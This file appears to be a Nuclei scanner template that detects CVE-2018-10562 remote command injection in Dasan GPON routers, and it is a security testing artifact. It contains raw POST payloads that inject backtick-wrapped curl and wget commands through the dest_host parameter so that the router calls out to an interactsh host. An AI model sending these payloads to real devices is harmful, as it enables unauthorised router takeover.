51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2018-10562
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info:
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name: Dasan GPON Devices - Remote Code Execution
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author: gy741
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severity: critical
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description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
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reference:
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- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
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- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
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- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
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- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2018-10562
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cwe-id: CWE-78
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tags: cve,cve2018,dasan,gpon,rce,oast,kev
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variables:
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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POST /GponForm/diag_Form?images/ HTTP/1.1
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Host: {{Hostname}}
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XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
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POST /GponForm/diag_Form?images/ HTTP/1.1
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Host: {{Hostname}}
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XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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# Enhanced by mp on 2022/05/12
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